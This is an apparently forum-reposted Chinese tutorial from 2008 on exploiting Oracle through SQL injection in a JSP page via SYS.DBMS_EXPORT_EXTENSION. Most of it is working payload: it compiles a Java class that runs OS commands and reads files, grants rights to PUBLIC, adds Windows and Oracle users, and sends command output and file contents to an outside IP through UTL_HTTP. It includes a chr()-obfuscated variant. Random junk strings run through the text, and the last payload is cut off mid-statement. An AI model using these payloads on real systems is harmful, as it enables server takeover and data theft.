以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 v2 r, i$ x0 y5 `3 D
' D7 C! e9 b; c4 _' b /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) & ?% d, W4 f2 ^1 L, t
的形式即可。(用" 'a'|| "是为了让语句返回true值) 2 U3 j9 h7 i! x7 x
语句有点长,可能要用post提交。 , q! y, p% r% K# v% U, Y, V
以下是各个步骤: : `8 C5 B7 E& N) E9 I
1.创建包
' b& `9 t/ {# F+ F6 ~' Y' w* [通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:& e7 r- g4 F6 }. i
/xxx.jsp?id=1 and '1'<>'a'||( % ^+ G, O5 X; S# i1 |& H6 v. v
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# I. P+ Q3 O7 I- }( T3 n0 R8 Screate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(/ G) q( S c7 G* Z3 D
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
$ r8 a F$ S0 }3 a) k$ ?0 a4 S}'''';END;'';END;--','SYS',0,'1',0) from dual / p1 Z) o8 V2 }
)
" K# C y: b/ X0 A% y------------------------
. K8 @. L* Z1 B- F* U如果url有长度限制,可以把readFile()函数块去掉,即:
+ m. S9 p; A4 _% X3 G) P/xxx.jsp?id=1 and '1'<>'a'||(
) D$ p! c9 i. x) d* H$ N. }. Z8 Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& U3 d; J: k) E/ _ |
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ |0 P0 Z2 n- t* I+ o- Y, Mnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; ~1 f3 M5 |3 Q( r$ R}'''';END;'';END;--','SYS',0,'1',0) from dual 0 D: v. R- H/ ~" y: b$ i
)
- f& L) l+ f9 w同时把后面步骤 提到的 对readFile()的处理语句去掉。
. B: P4 _/ x+ I! T------------------------------ / B& \8 E$ K5 o
2.赋Java权限
: R" x) i' H) c" T! Jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual+ y0 T" @4 K/ O+ ~) x) h% T0 d5 [
3.创建函数
: ?0 G/ h2 ?. h5 d ]1 e% Dselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': k) P! A& x4 n/ i+ n
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual+ n' l y5 H I0 G; H1 |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- j7 B4 P7 p0 A! \
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual9 {3 H) n6 k2 S7 j8 e! \) T" Z
4.赋public执行函数的权限 6 z" t* |) l8 O/ Z8 N# a
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual. M/ W0 ~2 A7 E; P/ u) c7 X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual& a& q. W+ a7 k
5.测试上面的几步是否成功
8 l6 M5 g4 v$ X" aand '1'<>'11'||( 4 D6 U" X# h* y! l# H
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 7 t, ^8 P/ \" i0 S1 \
) * o: w' A0 j2 ~2 z) i
and '1'<>(
5 Z6 A( P- b3 w. R, T) {select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
! ?! C& a A9 P) 7 k! V& V8 U5 z( o$ J* X
6.执行命令:
) E0 W# X. _4 e5 I+ R7 d; K/xxx.jsp?id=1 and '1'<>( + Q* u- V7 a9 d* _
select sys.LinxRunCMD('cmd /c net user linx /add') from dual 3 s9 q S9 o- \" _; J6 I
/ Z8 J# q% K2 d* Z)
0 A+ H8 M5 V& E/xxx.jsp?id=1 and '1'<>(
0 X4 Q3 t$ m! ~7 F, _select sys.LinxReadFile('c:/boot.ini') from dual. Y& i! ~' e! }
$ H' e/ f7 S) g& R)
8 b) W. [) j' x9 M
% T c: P& h' q) m; A5 o/ b注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 # {# d5 X) e7 y1 b# h) s
如果要查看运行结果可以用 union :
9 A( Y- S8 ~ u9 J, V4 P- Z3 w/ R/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual5 K2 V' O5 X2 d# I0 v" }( I1 a9 @2 L
或者UTL_HTTP.request(:
$ k7 e; E0 W+ Q- M4 w# K: |; q+ f/xxx.jsp?id=1 and '1'<>( % Q. C0 r: M! v( G4 w6 m
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
0 _' J j' f- k; _" v+ K)
# F* Q4 j# F2 ^2 O0 I* u/xxx.jsp?id=1 and '1'<>( 2 U! j2 Z8 a5 M% k, k9 M
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
% j$ F7 E3 S4 m2 L9 X/ e) 5 q5 P- B1 E' k# X0 b# n Q
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
/ J5 q _6 l# R" L1 e-------------------- & t7 r+ @- I' o4 d) W
6.内部变化
/ c4 O8 p1 C* E通过以下命令可以查看all_objects表达改变: : c3 G" s& a! d
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'/ Q c/ J, H, ], @, s
7.删除我们创建的函数
2 u" h; ~$ t5 j5 C* Y$ ~! nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ z7 i+ c# V9 ]1 Z0 H
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
$ P. F4 N! o) I$ r! [. L( x* S1 h==================================================== ' v% F' M, _2 y" I& _7 Z
全文结束。谨以此文赠与我的朋友。 ; W- t9 |! ^8 K Q2 P2 O0 L$ l
linx
: r: l; b7 J8 W U& _124829445 / Z R$ C' k* n" `5 R/ U
2008.1.12 ) M6 N' ]! O8 S. T/ } f# b7 x
linyujian@bjfu.edu.cn
! K; y. u/ M! L) y8 y======================================================================
2 e3 C- r+ T" ^5 b) f; [% S测试漏洞的另一方法: & t4 D- T, _5 e/ r7 @
创建oracle帐号: - A2 T9 N# }# k0 t; q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' e6 r! u( ^) u) H* d' f. CCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
/ {# n6 W x4 G O* R即:
) D" G6 r0 U4 [) Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),9 j; R) o& j. ]. j
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 3 N. _/ [4 G! g: F9 h
确定漏洞存在: H7 o5 d4 `6 ^( d/ `" k5 M
1<>( 9 Z+ {' x6 d* V# n
select user_id from all_users where username='LINXSQL'
# N% W2 N- l. R' w: c; J5 ~: |) 8 b g- w1 C' ]4 Z8 ^$ Q
给linxsql连接权限:
_. l6 M( G1 t s6 `4 fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 ?: b& i0 X' J
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 1 A) M4 d Q1 u# }5 S
删除帐号:
8 p) ]$ a0 h+ L( S, ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 v7 s! r- q6 G
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
. `: L5 z4 a {8 R/ p" P4 N====================== $ V, }3 y7 z4 ^8 V, N& B. K) K
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
+ m( B2 v+ @5 p ]3 z1.jsp?id=1 and '1'<>(
( f% m" V+ X2 b5 T sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! X! ]% F4 {# ?" f; Q$ _create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual5 c0 Y: G* `. O
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE- M$ D6 i/ V$ _# }9 {4 F0 w
)
' o+ i; a8 ^5 |5 j5 J: D" M: `8 R& b
" T Z7 B3 w q+ v# x' b
7 \6 L% X; o5 s, l& Y2 X; v+ ?0 D |